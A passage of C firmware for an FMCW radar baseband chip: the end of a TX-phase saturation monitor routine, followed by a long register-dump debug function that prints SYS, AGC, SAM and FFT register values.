bb_status_en = SYS_ENA(AGC, true) | SYS_ENA(SAM, true) | SYS_ENA(FFT_2D, true);
baseband_start_with_params(cfg->bb, true, false,
bb_status_en,
false, 0, false);
/* wait done */
while (baseband_hw_is_running(bb_hw) == false)
;
while (baseband_hw_is_running(bb_hw) == true)
;
MDELAY(10);
//collect results
baseband_agc_dbg_reg_dump(bb_hw, 2);
baseband_agc_dbg_reg_dump(bb_hw, 1);
baseband_agc_dbg_reg_store(bb_hw, agc_reg);
for (int i=0; i< AFE_SATS; i++)
for(int r=0; r<MAX_NUM_RX;r++)
sat_cnt[loop]= agc_reg[MAX_NUM_RX+i*MAX_NUM_RX+r] + sat_cnt[loop];
BB_WRITE_REG(bb_hw, AGC_SAT_CNT_CLR_FRA, 1);
BB_WRITE_REG(bb_hw, AGC_IRQ_CLR, 1);
}
//recover the spot
baseband_dc_calib_status_restore(bb_hw);
fmcw_radio_txphase_status(radio, false);
unsigned long out_phase_sat_num = sat_cnt[0];
int idx = 0;
for (int i=1; i<8; i++) {
if (sat_cnt[i]<out_phase_sat_num) {
out_phase_sat_num = sat_cnt[i];
idx = i;
}
}
EMBARC_PRINTF("Tx phase %d gets minimum saturation number\n\r", candi_phase[idx]);
EMBARC_PRINTF("Txbf_bb_satur_monitor done\n\r");
}
void baseband_reg_dump(baseband_hw_t *bb_hw)
{
EMBARC_PRINTF("BB_REG_SYS_START 0x%x 0x%08x\n\r", BB_REG_SYS_START , BB_READ_REG(bb_hw, SYS_START ));
EMBARC_PRINTF("BB_REG_SYS_BNK_MODE 0x%x 0x%08x\n\r", BB_REG_SYS_BNK_MODE , BB_READ_REG(bb_hw, SYS_BNK_MODE ));
EMBARC_PRINTF("BB_REG_SYS_BNK_ACT 0x%x 0x%08x\n\r", BB_REG_SYS_BNK_ACT , BB_READ_REG(bb_hw, SYS_BNK_ACT ));
EMBARC_PRINTF("BB_REG_SYS_BNK_QUE 0x%x 0x%08x\n\r", BB_REG_SYS_BNK_QUE , BB_READ_REG(bb_hw, SYS_BNK_QUE ));
EMBARC_PRINTF("BB_REG_SYS_BNK_RST 0x%x 0x%08x\n\r", BB_REG_SYS_BNK_RST , BB_READ_REG(bb_hw, SYS_BNK_RST ));
EMBARC_PRINTF("BB_REG_SYS_MEM_ACT 0x%x 0x%08x\n\r", BB_REG_SYS_MEM_ACT , BB_READ_REG(bb_hw, SYS_MEM_ACT ));
EMBARC_PRINTF("BB_REG_SYS_ENABLE 0x%x 0x%08x\n\r", BB_REG_SYS_ENABLE , BB_READ_REG(bb_hw, SYS_ENABLE ));
EMBARC_PRINTF("BB_REG_SYS_TYPE_FMCW 0x%x 0x%08x\n\r", BB_REG_SYS_TYPE_FMCW , BB_READ_REG(bb_hw, SYS_TYPE_FMCW ));
EMBARC_PRINTF("BB_REG_SYS_SIZE_RNG_PRD 0x%x 0x%08x\n\r", BB_REG_SYS_SIZE_RNG_PRD , BB_READ_REG(bb_hw, SYS_SIZE_RNG_PRD ));
EMBARC_PRINTF("BB_REG_SYS_SIZE_FLT 0x%x 0x%08x\n\r", BB_REG_SYS_SIZE_FLT , BB_READ_REG(bb_hw, SYS_SIZE_FLT ));
EMBARC_PRINTF("BB_REG_SYS_SIZE_RNG_SKP 0x%x 0x%08x\n\r", BB_REG_SYS_SIZE_RNG_SKP , BB_READ_REG(bb_hw, SYS_SIZE_RNG_SKP ));
EMBARC_PRINTF("BB_REG_SYS_SIZE_RNG_BUF 0x%x 0x%08x\n\r", BB_REG_SYS_SIZE_RNG_BUF , BB_READ_REG(bb_hw, SYS_SIZE_RNG_BUF ));
EMBARC_PRINTF("BB_REG_SYS_SIZE_RNG_FFT 0x%x 0x%08x\n\r", BB_REG_SYS_SIZE_RNG_FFT , BB_READ_REG(bb_hw, SYS_SIZE_RNG_FFT ));
EMBARC_PRINTF("BB_REG_SYS_SIZE_BPM 0x%x 0x%08x\n\r", BB_REG_SYS_SIZE_BPM , BB_READ_REG(bb_hw, SYS_SIZE_BPM ));
EMBARC_PRINTF("BB_REG_SYS_SIZE_VEL_BUF 0x%x 0x%08x\n\r", BB_REG_SYS_SIZE_VEL_BUF , BB_READ_REG(bb_hw, SYS_SIZE_VEL_BUF ));
EMBARC_PRINTF("BB_REG_SYS_SIZE_VEL_FFT 0x%x 0x%08x\n\r", BB_REG_SYS_SIZE_VEL_FFT , BB_READ_REG(bb_hw, SYS_SIZE_VEL_FFT ));
EMBARC_PRINTF("BB_REG_SYS_FRMT_ADC 0x%x 0x%08x\n\r", BB_REG_SYS_FRMT_ADC , BB_READ_REG(bb_hw, SYS_FRMT_ADC ));
EMBARC_PRINTF("BB_REG_SYS_IRQ_ENA 0x%x 0x%08x\n\r", BB_REG_SYS_IRQ_ENA , BB_READ_REG(bb_hw, SYS_IRQ_ENA ));
EMBARC_PRINTF("BB_REG_SYS_IRQ_CLR 0x%x 0x%08x\n\r", BB_REG_SYS_IRQ_CLR , BB_READ_REG(bb_hw, SYS_IRQ_CLR ));
EMBARC_PRINTF("BB_REG_SYS_ECC_ENA 0x%x 0x%08x\n\r", BB_REG_SYS_ECC_ENA , BB_READ_REG(bb_hw, SYS_ECC_ENA ));
EMBARC_PRINTF("BB_REG_SYS_ECC_SB_CLR 0x%x 0x%08x\n\r", BB_REG_SYS_ECC_SB_CLR , BB_READ_REG(bb_hw, SYS_ECC_SB_CLR ));
EMBARC_PRINTF("BB_REG_SYS_ECC_DB_CLR 0x%x 0x%08x\n\r", BB_REG_SYS_ECC_DB_CLR , BB_READ_REG(bb_hw, SYS_ECC_DB_CLR ));
EMBARC_PRINTF("BB_REG_SYS_TYP_ARB 0x%x 0x%08x\n\r", BB_REG_SYS_TYP_ARB , BB_READ_REG(bb_hw, SYS_TYP_ARB ));
EMBARC_PRINTF("BB_REG_SYS_STATUS 0x%x 0x%08x\n\r", BB_REG_SYS_STATUS , BB_READ_REG(bb_hw, SYS_STATUS ));
EMBARC_PRINTF("BB_REG_FDB_SYS_BNK_ACT 0x%x 0x%08x\n\r", BB_REG_FDB_SYS_BNK_ACT , BB_READ_REG(bb_hw, FDB_SYS_BNK_ACT ));
EMBARC_PRINTF("BB_REG_SYS_IRQ_STATUS 0x%x 0x%08x\n\r", BB_REG_SYS_IRQ_STATUS , BB_READ_REG(bb_hw, SYS_IRQ_STATUS ));
EMBARC_PRINTF("BB_REG_SYS_ECC_SB_STATUS 0x%x 0x%08x\n\r", BB_REG_SYS_ECC_SB_STATUS , BB_READ_REG(bb_hw, SYS_ECC_SB_STATUS ));
EMBARC_PRINTF("BB_REG_SYS_ECC_DB_STATUS 0x%x 0x%08x\n\r", BB_REG_SYS_ECC_DB_STATUS , BB_READ_REG(bb_hw, SYS_ECC_DB_STATUS ));
EMBARC_PRINTF("BB_REG_AGC_SAT_THR_TIA 0x%x 0x%08x\n\r", BB_REG_AGC_SAT_THR_TIA , BB_READ_REG(bb_hw, AGC_SAT_THR_TIA ));
EMBARC_PRINTF("BB_REG_AGC_SAT_THR_VGA1 0x%x 0x%08x\n\r", BB_REG_AGC_SAT_THR_VGA1 , BB_READ_REG(bb_hw, AGC_SAT_THR_VGA1 ));
EMBARC_PRINTF("BB_REG_AGC_SAT_THR_VGA2 0x%x 0x%08x\n\r", BB_REG_AGC_SAT_THR_VGA2 , BB_READ_REG(bb_hw, AGC_SAT_THR_VGA2 ));
EMBARC_PRINTF("BB_REG_AGC_SAT_CNT_CLR_FRA 0x%x 0x%08x\n\r", BB_REG_AGC_SAT_CNT_CLR_FRA , BB_READ_REG(bb_hw, AGC_SAT_CNT_CLR_FRA ));
EMBARC_PRINTF("BB_REG_AGC_DAT_MAX_SEL 0x%x 0x%08x\n\r", BB_REG_AGC_DAT_MAX_SEL , BB_READ_REG(bb_hw, AGC_DAT_MAX_SEL ));
EMBARC_PRINTF("BB_REG_AGC_CODE_LNA_0 0x%x 0x%08x\n\r", BB_REG_AGC_CODE_LNA_0 , BB_READ_REG(bb_hw, AGC_CODE_LNA_0 ));
EMBARC_PRINTF("BB_REG_AGC_CODE_LNA_1 0x%x 0x%08x\n\r", BB_REG_AGC_CODE_LNA_1 , BB_READ_REG(bb_hw, AGC_CODE_LNA_1 ));
EMBARC_PRINTF("BB_REG_AGC_CODE_TIA_0 0x%x 0x%08x\n\r", BB_REG_AGC_CODE_TIA_0 , BB_READ_REG(bb_hw, AGC_CODE_TIA_0 ));
EMBARC_PRINTF("BB_REG_AGC_CODE_TIA_1 0x%x 0x%08x\n\r", BB_REG_AGC_CODE_TIA_1 , BB_READ_REG(bb_hw, AGC_CODE_TIA_1 ));
EMBARC_PRINTF("BB_REG_AGC_CODE_TIA_2 0x%x 0x%08x\n\r", BB_REG_AGC_CODE_TIA_2 , BB_READ_REG(bb_hw, AGC_CODE_TIA_2 ));
EMBARC_PRINTF("BB_REG_AGC_CODE_TIA_3 0x%x 0x%08x\n\r", BB_REG_AGC_CODE_TIA_3 , BB_READ_REG(bb_hw, AGC_CODE_TIA_3 ));
EMBARC_PRINTF("BB_REG_AGC_GAIN_MIN 0x%x 0x%08x\n\r", BB_REG_AGC_GAIN_MIN , BB_READ_REG(bb_hw, AGC_GAIN_MIN ));
EMBARC_PRINTF("BB_REG_AGC_CDGN_INIT 0x%x 0x%08x\n\r", BB_REG_AGC_CDGN_INIT , BB_READ_REG(bb_hw, AGC_CDGN_INIT ));
EMBARC_PRINTF("BB_REG_AGC_CDGN_C0_0 0x%x 0x%08x\n\r", BB_REG_AGC_CDGN_C0_0 , BB_READ_REG(bb_hw, AGC_CDGN_C0_0 ));
EMBARC_PRINTF("BB_REG_AGC_CDGN_C0_1 0x%x 0x%08x\n\r", BB_REG_AGC_CDGN_C0_1 , BB_READ_REG(bb_hw, AGC_CDGN_C0_1 ));
EMBARC_PRINTF("BB_REG_AGC_CDGN_C0_2 0x%x 0x%08x\n\r", BB_REG_AGC_CDGN_C0_2 , BB_READ_REG(bb_hw, AGC_CDGN_C0_2 ));
EMBARC_PRINTF("BB_REG_AGC_CDGN_C1_0 0x%x 0x%08x\n\r", BB_REG_AGC_CDGN_C1_0 , BB_READ_REG(bb_hw, AGC_CDGN_C1_0 ));
EMBARC_PRINTF("BB_REG_AGC_CDGN_C1_1 0x%x 0x%08x\n\r", BB_REG_AGC_CDGN_C1_1 , BB_READ_REG(bb_hw, AGC_CDGN_C1_1 ));
EMBARC_PRINTF("BB_REG_AGC_CDGN_C1_2 0x%x 0x%08x\n\r", BB_REG_AGC_CDGN_C1_2 , BB_READ_REG(bb_hw, AGC_CDGN_C1_2 ));
EMBARC_PRINTF("BB_REG_AGC_CDGN_C1_3 0x%x 0x%08x\n\r", BB_REG_AGC_CDGN_C1_3 , BB_READ_REG(bb_hw, AGC_CDGN_C1_3 ));
EMBARC_PRINTF("BB_REG_AGC_CDGN_C1_4 0x%x 0x%08x\n\r", BB_REG_AGC_CDGN_C1_4 , BB_READ_REG(bb_hw, AGC_CDGN_C1_4 ));
EMBARC_PRINTF("BB_REG_AGC_CDGN_C1_5 0x%x 0x%08x\n\r", BB_REG_AGC_CDGN_C1_5 , BB_READ_REG(bb_hw, AGC_CDGN_C1_5 ));
EMBARC_PRINTF("BB_REG_AGC_CDGN_C1_6 0x%x 0x%08x\n\r", BB_REG_AGC_CDGN_C1_6 , BB_READ_REG(bb_hw, AGC_CDGN_C1_6 ));
EMBARC_PRINTF("BB_REG_AGC_CDGN_C1_7 0x%x 0x%08x\n\r", BB_REG_AGC_CDGN_C1_7 , BB_READ_REG(bb_hw, AGC_CDGN_C1_7 ));
EMBARC_PRINTF("BB_REG_AGC_CDGN_C1_8 0x%x 0x%08x\n\r", BB_REG_AGC_CDGN_C1_8 , BB_READ_REG(bb_hw, AGC_CDGN_C1_8 ));
EMBARC_PRINTF("BB_REG_AGC_CHCK_ENA 0x%x 0x%08x\n\r", BB_REG_AGC_CHCK_ENA , BB_READ_REG(bb_hw, AGC_CHCK_ENA ));
EMBARC_PRINTF("BB_REG_AGC_ALIGN_EN 0x%x 0x%08x\n\r", BB_REG_AGC_ALIGN_EN , BB_READ_REG(bb_hw, AGC_ALIGN_EN ));
EMBARC_PRINTF("BB_REG_AGC_CMPN_EN 0x%x 0x%08x\n\r", BB_REG_AGC_CMPN_EN , BB_READ_REG(bb_hw, AGC_CMPN_EN ));
EMBARC_PRINTF("BB_REG_AGC_CMPN_ALIGN_EN 0x%x 0x%08x\n\r", BB_REG_AGC_CMPN_ALIGN_EN , BB_READ_REG(bb_hw, AGC_CMPN_ALIGN_EN ));
EMBARC_PRINTF("BB_REG_AGC_CMPN_LVL 0x%x 0x%08x\n\r", BB_REG_AGC_CMPN_LVL , BB_READ_REG(bb_hw, AGC_CMPN_LVL ));
EMBARC_PRINTF("BB_REG_AGC_DB_TARGET 0x%x 0x%08x\n\r", BB_REG_AGC_DB_TARGET , BB_READ_REG(bb_hw, AGC_DB_TARGET ));
EMBARC_PRINTF("BB_REG_AGC_IRQ_ENA 0x%x 0x%08x\n\r", BB_REG_AGC_IRQ_ENA , BB_READ_REG(bb_hw, AGC_IRQ_ENA ));
EMBARC_PRINTF("BB_REG_AGC_IRQ_CLR 0x%x 0x%08x\n\r", BB_REG_AGC_IRQ_CLR , BB_READ_REG(bb_hw, AGC_IRQ_CLR ));
EMBARC_PRINTF("BB_REG_AGC_COD_C0 0x%x 0x%08x\n\r", BB_REG_AGC_COD_C0 , BB_READ_REG(bb_hw, AGC_COD_C0 ));
EMBARC_PRINTF("BB_REG_AGC_COD_C1 0x%x 0x%08x\n\r", BB_REG_AGC_COD_C1 , BB_READ_REG(bb_hw, AGC_COD_C1 ));
EMBARC_PRINTF("BB_REG_AGC_COD_C2 0x%x 0x%08x\n\r", BB_REG_AGC_COD_C2 , BB_READ_REG(bb_hw, AGC_COD_C2 ));
EMBARC_PRINTF("BB_REG_AGC_COD_C3 0x%x 0x%08x\n\r", BB_REG_AGC_COD_C3 , BB_READ_REG(bb_hw, AGC_COD_C3 ));
EMBARC_PRINTF("BB_REG_AGC_SAT_CNT_TIA__C0 0x%x 0x%08x\n\r", BB_REG_AGC_SAT_CNT_TIA__C0 , BB_READ_REG(bb_hw, AGC_SAT_CNT_TIA__C0 ));
EMBARC_PRINTF("BB_REG_AGC_SAT_CNT_TIA__C1 0x%x 0x%08x\n\r", BB_REG_AGC_SAT_CNT_TIA__C1 , BB_READ_REG(bb_hw, AGC_SAT_CNT_TIA__C1 ));
EMBARC_PRINTF("BB_REG_AGC_SAT_CNT_TIA__C2 0x%x 0x%08x\n\r", BB_REG_AGC_SAT_CNT_TIA__C2 , BB_READ_REG(bb_hw, AGC_SAT_CNT_TIA__C2 ));
EMBARC_PRINTF("BB_REG_AGC_SAT_CNT_TIA__C3 0x%x 0x%08x\n\r", BB_REG_AGC_SAT_CNT_TIA__C3 , BB_READ_REG(bb_hw, AGC_SAT_CNT_TIA__C3 ));
EMBARC_PRINTF("BB_REG_AGC_SAT_CNT_VGA1_C0 0x%x 0x%08x\n\r", BB_REG_AGC_SAT_CNT_VGA1_C0 , BB_READ_REG(bb_hw, AGC_SAT_CNT_VGA1_C0 ));
EMBARC_PRINTF("BB_REG_AGC_SAT_CNT_VGA1_C1 0x%x 0x%08x\n\r", BB_REG_AGC_SAT_CNT_VGA1_C1 , BB_READ_REG(bb_hw, AGC_SAT_CNT_VGA1_C1 ));
EMBARC_PRINTF("BB_REG_AGC_SAT_CNT_VGA1_C2 0x%x 0x%08x\n\r", BB_REG_AGC_SAT_CNT_VGA1_C2 , BB_READ_REG(bb_hw, AGC_SAT_CNT_VGA1_C2 ));
EMBARC_PRINTF("BB_REG_AGC_SAT_CNT_VGA1_C3 0x%x 0x%08x\n\r", BB_REG_AGC_SAT_CNT_VGA1_C3 , BB_READ_REG(bb_hw, AGC_SAT_CNT_VGA1_C3 ));
EMBARC_PRINTF("BB_REG_AGC_SAT_CNT_VGA2_C0 0x%x 0x%08x\n\r", BB_REG_AGC_SAT_CNT_VGA2_C0 , BB_READ_REG(bb_hw, AGC_SAT_CNT_VGA2_C0 ));
EMBARC_PRINTF("BB_REG_AGC_SAT_CNT_VGA2_C1 0x%x 0x%08x\n\r", BB_REG_AGC_SAT_CNT_VGA2_C1 , BB_READ_REG(bb_hw, AGC_SAT_CNT_VGA2_C1 ));
EMBARC_PRINTF("BB_REG_AGC_SAT_CNT_VGA2_C2 0x%x 0x%08x\n\r", BB_REG_AGC_SAT_CNT_VGA2_C2 , BB_READ_REG(bb_hw, AGC_SAT_CNT_VGA2_C2 ));
EMBARC_PRINTF("BB_REG_AGC_SAT_CNT_VGA2_C3 0x%x 0x%08x\n\r", BB_REG_AGC_SAT_CNT_VGA2_C3 , BB_READ_REG(bb_hw, AGC_SAT_CNT_VGA2_C3 ));
EMBARC_PRINTF("BB_REG_AGC_DAT_MAX_1ST_C0 0x%x 0x%08x\n\r", BB_REG_AGC_DAT_MAX_1ST_C0 , BB_READ_REG(bb_hw, AGC_DAT_MAX_1ST_C0 ));
EMBARC_PRINTF("BB_REG_AGC_DAT_MAX_1ST_C1 0x%x 0x%08x\n\r", BB_REG_AGC_DAT_MAX_1ST_C1 , BB_READ_REG(bb_hw, AGC_DAT_MAX_1ST_C1 ));
EMBARC_PRINTF("BB_REG_AGC_DAT_MAX_1ST_C2 0x%x 0x%08x\n\r", BB_REG_AGC_DAT_MAX_1ST_C2 , BB_READ_REG(bb_hw, AGC_DAT_MAX_1ST_C2 ));
EMBARC_PRINTF("BB_REG_AGC_DAT_MAX_1ST_C3 0x%x 0x%08x\n\r", BB_REG_AGC_DAT_MAX_1ST_C3 , BB_READ_REG(bb_hw, AGC_DAT_MAX_1ST_C3 ));
EMBARC_PRINTF("BB_REG_AGC_DAT_MAX_2ND_C0 0x%x 0x%08x\n\r", BB_REG_AGC_DAT_MAX_2ND_C0 , BB_READ_REG(bb_hw, AGC_DAT_MAX_2ND_C0 ));
EMBARC_PRINTF("BB_REG_AGC_DAT_MAX_2ND_C1 0x%x 0x%08x\n\r", BB_REG_AGC_DAT_MAX_2ND_C1 , BB_READ_REG(bb_hw, AGC_DAT_MAX_2ND_C1 ));
EMBARC_PRINTF("BB_REG_AGC_DAT_MAX_2ND_C2 0x%x 0x%08x\n\r", BB_REG_AGC_DAT_MAX_2ND_C2 , BB_READ_REG(bb_hw, AGC_DAT_MAX_2ND_C2 ));
EMBARC_PRINTF("BB_REG_AGC_DAT_MAX_2ND_C3 0x%x 0x%08x\n\r", BB_REG_AGC_DAT_MAX_2ND_C3 , BB_READ_REG(bb_hw, AGC_DAT_MAX_2ND_C3 ));
EMBARC_PRINTF("BB_REG_AGC_DAT_MAX_3RD_C0 0x%x 0x%08x\n\r", BB_REG_AGC_DAT_MAX_3RD_C0 , BB_READ_REG(bb_hw, AGC_DAT_MAX_3RD_C0 ));
EMBARC_PRINTF("BB_REG_AGC_DAT_MAX_3RD_C1 0x%x 0x%08x\n\r", BB_REG_AGC_DAT_MAX_3RD_C1 , BB_READ_REG(bb_hw, AGC_DAT_MAX_3RD_C1 ));
EMBARC_PRINTF("BB_REG_AGC_DAT_MAX_3RD_C2 0x%x 0x%08x\n\r", BB_REG_AGC_DAT_MAX_3RD_C2 , BB_READ_REG(bb_hw, AGC_DAT_MAX_3RD_C2 ));
EMBARC_PRINTF("BB_REG_AGC_DAT_MAX_3RD_C3 0x%x 0x%08x\n\r", BB_REG_AGC_DAT_MAX_3RD_C3 , BB_READ_REG(bb_hw, AGC_DAT_MAX_3RD_C3 ));
EMBARC_PRINTF("BB_REG_AGC_IRQ_STATUS 0x%x 0x%08x\n\r", BB_REG_AGC_IRQ_STATUS , BB_READ_REG(bb_hw, AGC_IRQ_STATUS ));
EMBARC_PRINTF("BB_REG_SAM_SINKER 0x%x 0x%08x\n\r", BB_REG_SAM_SINKER , BB_READ_REG(bb_hw, SAM_SINKER ));
EMBARC_PRINTF("BB_REG_SAM_F_0_S1 0x%x 0x%08x\n\r", BB_REG_SAM_F_0_S1 , BB_READ_REG(bb_hw, SAM_F_0_S1 ));
EMBARC_PRINTF("BB_REG_SAM_F_0_B1 0x%x 0x%08x\n\r", BB_REG_SAM_F_0_B1 , BB_READ_REG(bb_hw, SAM_F_0_B1 ));
EMBARC_PRINTF("BB_REG_SAM_F_0_A1 0x%x 0x%08x\n\r", BB_REG_SAM_F_0_A1 , BB_READ_REG(bb_hw, SAM_F_0_A1 ));
EMBARC_PRINTF("BB_REG_SAM_F_0_A2 0x%x 0x%08x\n\r", BB_REG_SAM_F_0_A2 , BB_READ_REG(bb_hw, SAM_F_0_A2 ));
EMBARC_PRINTF("BB_REG_SAM_F_1_S1 0x%x 0x%08x\n\r", BB_REG_SAM_F_1_S1 , BB_READ_REG(bb_hw, SAM_F_1_S1 ));
EMBARC_PRINTF("BB_REG_SAM_F_1_B1 0x%x 0x%08x\n\r", BB_REG_SAM_F_1_B1 , BB_READ_REG(bb_hw, SAM_F_1_B1 ));
EMBARC_PRINTF("BB_REG_SAM_F_1_A1 0x%x 0x%08x\n\r", BB_REG_SAM_F_1_A1 , BB_READ_REG(bb_hw, SAM_F_1_A1 ));
EMBARC_PRINTF("BB_REG_SAM_F_1_A2 0x%x 0x%08x\n\r", BB_REG_SAM_F_1_A2 , BB_READ_REG(bb_hw, SAM_F_1_A2 ));
EMBARC_PRINTF("BB_REG_SAM_F_2_S1 0x%x 0x%08x\n\r", BB_REG_SAM_F_2_S1 , BB_READ_REG(bb_hw, SAM_F_2_S1 ));
EMBARC_PRINTF("BB_REG_SAM_F_2_B1 0x%x 0x%08x\n\r", BB_REG_SAM_F_2_B1 , BB_READ_REG(bb_hw, SAM_F_2_B1 ));
EMBARC_PRINTF("BB_REG_SAM_F_2_A1 0x%x 0x%08x\n\r", BB_REG_SAM_F_2_A1 , BB_READ_REG(bb_hw, SAM_F_2_A1 ));
EMBARC_PRINTF("BB_REG_SAM_F_2_A2 0x%x 0x%08x\n\r", BB_REG_SAM_F_2_A2 , BB_READ_REG(bb_hw, SAM_F_2_A2 ));
EMBARC_PRINTF("BB_REG_SAM_F_3_S1 0x%x 0x%08x\n\r", BB_REG_SAM_F_3_S1 , BB_READ_REG(bb_hw, SAM_F_3_S1 ));
EMBARC_PRINTF("BB_REG_SAM_F_3_B1 0x%x 0x%08x\n\r", BB_REG_SAM_F_3_B1 , BB_READ_REG(bb_hw, SAM_F_3_B1 ));
EMBARC_PRINTF("BB_REG_SAM_F_3_A1 0x%x 0x%08x\n\r", BB_REG_SAM_F_3_A1 , BB_READ_REG(bb_hw, SAM_F_3_A1 ));
EMBARC_PRINTF("BB_REG_SAM_F_3_A2 0x%x 0x%08x\n\r", BB_REG_SAM_F_3_A2 , BB_READ_REG(bb_hw, SAM_F_3_A2 ));
EMBARC_PRINTF("BB_REG_SAM_FNL_SHF 0x%x 0x%08x\n\r", BB_REG_SAM_FNL_SHF , BB_READ_REG(bb_hw, SAM_FNL_SHF ));
EMBARC_PRINTF("BB_REG_SAM_FNL_SCL 0x%x 0x%08x\n\r", BB_REG_SAM_FNL_SCL , BB_READ_REG(bb_hw, SAM_FNL_SCL ));
EMBARC_PRINTF("BB_REG_SAM_DINT_ENA 0x%x 0x%08x\n\r", BB_REG_SAM_DINT_ENA , BB_READ_REG(bb_hw, SAM_DINT_ENA ));
EMBARC_PRINTF("BB_REG_SAM_DINT_MOD 0x%x 0x%08x\n\r", BB_REG_SAM_DINT_MOD , BB_READ_REG(bb_hw, SAM_DINT_MOD ));
EMBARC_PRINTF("BB_REG_SAM_DINT_SET 0x%x 0x%08x\n\r", BB_REG_SAM_DINT_SET , BB_READ_REG(bb_hw, SAM_DINT_SET ));
EMBARC_PRINTF("BB_REG_SAM_DINT_DAT 0x%x 0x%08x\n\r", BB_REG_SAM_DINT_DAT , BB_READ_REG(bb_hw, SAM_DINT_DAT ));
EMBARC_PRINTF("BB_REG_SAM_DINT_MSK 0x%x 0x%08x\n\r", BB_REG_SAM_DINT_MSK , BB_READ_REG(bb_hw, SAM_DINT_MSK ));
EMBARC_PRINTF("BB_REG_SAM_DAMB_PRD 0x%x 0x%08x\n\r", BB_REG_SAM_DAMB_PRD , BB_READ_REG(bb_hw, SAM_DAMB_PRD ));
EMBARC_PRINTF("BB_REG_SAM_FORCE 0x%x 0x%08x\n\r", BB_REG_SAM_FORCE , BB_READ_REG(bb_hw, SAM_FORCE ));
EMBARC_PRINTF("BB_REG_SAM_DBG_SRC 0x%x 0x%08x\n\r", BB_REG_SAM_DBG_SRC , BB_READ_REG(bb_hw, SAM_DBG_SRC ));
EMBARC_PRINTF("BB_REG_SAM_SIZE_DBG_BGN 0x%x 0x%08x\n\r", BB_REG_SAM_SIZE_DBG_BGN , BB_READ_REG(bb_hw, SAM_SIZE_DBG_BGN ));
EMBARC_PRINTF("BB_REG_SAM_SIZE_DBG_END 0x%x 0x%08x\n\r", BB_REG_SAM_SIZE_DBG_END , BB_READ_REG(bb_hw, SAM_SIZE_DBG_END ));
EMBARC_PRINTF("BB_REG_SAM_SPK_RM_EN 0x%x 0x%08x\n\r", BB_REG_SAM_SPK_RM_EN , BB_READ_REG(bb_hw, SAM_SPK_RM_EN ));
EMBARC_PRINTF("BB_REG_SAM_SPK_CFM_SIZE 0x%x 0x%08x\n\r", BB_REG_SAM_SPK_CFM_SIZE , BB_READ_REG(bb_hw, SAM_SPK_CFM_SIZE ));
EMBARC_PRINTF("BB_REG_SAM_SPK_SET_ZERO 0x%x 0x%08x\n\r", BB_REG_SAM_SPK_SET_ZERO , BB_READ_REG(bb_hw, SAM_SPK_SET_ZERO ));
EMBARC_PRINTF("BB_REG_SAM_SPK_OVER_NUM 0x%x 0x%08x\n\r", BB_REG_SAM_SPK_OVER_NUM , BB_READ_REG(bb_hw, SAM_SPK_OVER_NUM ));
EMBARC_PRINTF("BB_REG_SAM_SPK_THRES_DBL 0x%x 0x%08x\n\r", BB_REG_SAM_SPK_THRES_DBL , BB_READ_REG(bb_hw, SAM_SPK_THRES_DBL ));
EMBARC_PRINTF("BB_REG_SAM_SPK_MIN_MAX_SEL 0x%x 0x%08x\n\r", BB_REG_SAM_SPK_MIN_MAX_SEL , BB_READ_REG(bb_hw, SAM_SPK_MIN_MAX_SEL ));
EMBARC_PRINTF("BB_REG_FDB_SAM_DINT_DAT 0x%x 0x%08x\n\r", BB_REG_FDB_SAM_DINT_DAT , BB_READ_REG(bb_hw, FDB_SAM_DINT_DAT ));
EMBARC_PRINTF("BB_REG_FFT_SHFT_RNG 0x%x 0x%08x\n\r", BB_REG_FFT_SHFT_RNG , BB_READ_REG(bb_hw, FFT_SHFT_RNG ));
EMBARC_PRINTF("BB_REG_FFT_SHFT_VEL 0x%x 0x%08x\n\r", BB_REG_FFT_SHFT_VEL , BB_READ_REG(bb_hw, FFT_SHFT_VEL ));
EMBARC_PRINTF("BB_REG_FFT_DBPM_ENA 0x%x 0x%08x\n\r", BB_REG_FFT_DBPM_ENA , BB_READ_REG(bb_hw, FFT_DBPM_ENA ));
EMBARC_PRINTF("BB_REG_FFT_DBPM_DIR 0x%x 0x%08x\n\r", BB_REG_FFT_DBPM_DIR , BB_READ_REG(bb_hw, FFT_DBPM_DIR ));
EMBARC_PRINTF("BB_REG_FFT_DAMB_ENA 0x%x 0x%08x\n\r", BB_REG_FFT_DAMB_ENA , BB_READ_REG(bb_hw, FFT_DAMB_ENA ));
EMBARC_PRINTF("BB_REG_FFT_DINT_ENA 0x%x 0x%08x\n\r", BB_REG_FFT_DINT_ENA , BB_READ_REG(bb_hw, FFT_DINT_ENA ));
EMBARC_PRINTF("BB_REG_FFT_DINT_MOD 0x%x 0x%08x\n\r", BB_REG_FFT_DINT_MOD , BB_READ_REG(bb_hw, FFT_DINT_MOD ));
EMBARC_PRINTF("BB_REG_FFT_DINT_SET 0x%x 0x%08x\n\r", BB_REG_FFT_DINT_SET , BB_READ_REG(bb_hw, FFT_DINT_SET ));
EMBARC_PRINTF("BB_REG_FFT_DINT_DAT_FH 0x%x 0x%08x\n\r", BB_REG_FFT_DINT_DAT_FH , BB_READ_REG(bb_hw, FFT_DINT_DAT_FH ));
EMBARC_PRINTF("BB_REG_FFT_DINT_DAT_CS 0x%x 0x%08x\n\r", BB_REG_FFT_DINT_DAT_CS , BB_READ_REG(bb_hw, FFT_DINT_DAT_CS ));
EMBARC_PRINTF("BB_REG_FFT_DINT_DAT_PS 0x%x 0x%08x\n\r", BB_REG_FFT_DINT_DAT_PS , BB_READ_REG(bb_hw, FFT_DINT_DAT_PS ));
EMBARC_PRINTF("BB_REG_FFT_DINT_MSK_FH 0x%x 0x%08x\n\r", BB_REG_FFT_DINT_MSK_FH , BB_READ_REG(bb_hw, FFT_DINT_MSK_FH ));
EMBARC_PRINTF("BB_REG_FFT_DINT_MSK_CS 0x%x 0x%08x\n\r", BB_REG_FFT_DINT_MSK_CS , BB_READ_REG(bb_hw, FFT_DINT_MSK_CS ));
EMBARC_PRINTF("BB_REG_FFT_DINT_MSK_PS 0x%x 0x%08x\n\r", BB_REG_FFT_DINT_MSK_PS , BB_READ_REG(bb_hw, FFT_DINT_MSK_PS ));
EMBARC_PRINTF("BB_REG_FFT_DINT_COE_FH 0x%x 0x%08x\n\r", BB_REG_FFT_DINT_COE_FH , BB_READ_REG(bb_hw, FFT_DINT_COE_FH ));
EMBARC_PRINTF("BB_REG_FFT_DINT_COE_CS 0x%x 0x%08x\n\r", BB_REG_FFT_DINT_COE_CS , BB_READ_REG(bb_hw, FFT_DINT_COE_CS ));
EMBARC_PRINTF("BB_REG_FFT_DINT_COE_FC 0x%x 0x%08x\n\r", BB_REG_FFT_DINT_COE_FC , BB_READ_REG(bb_hw, FFT_DINT_COE_FC ));
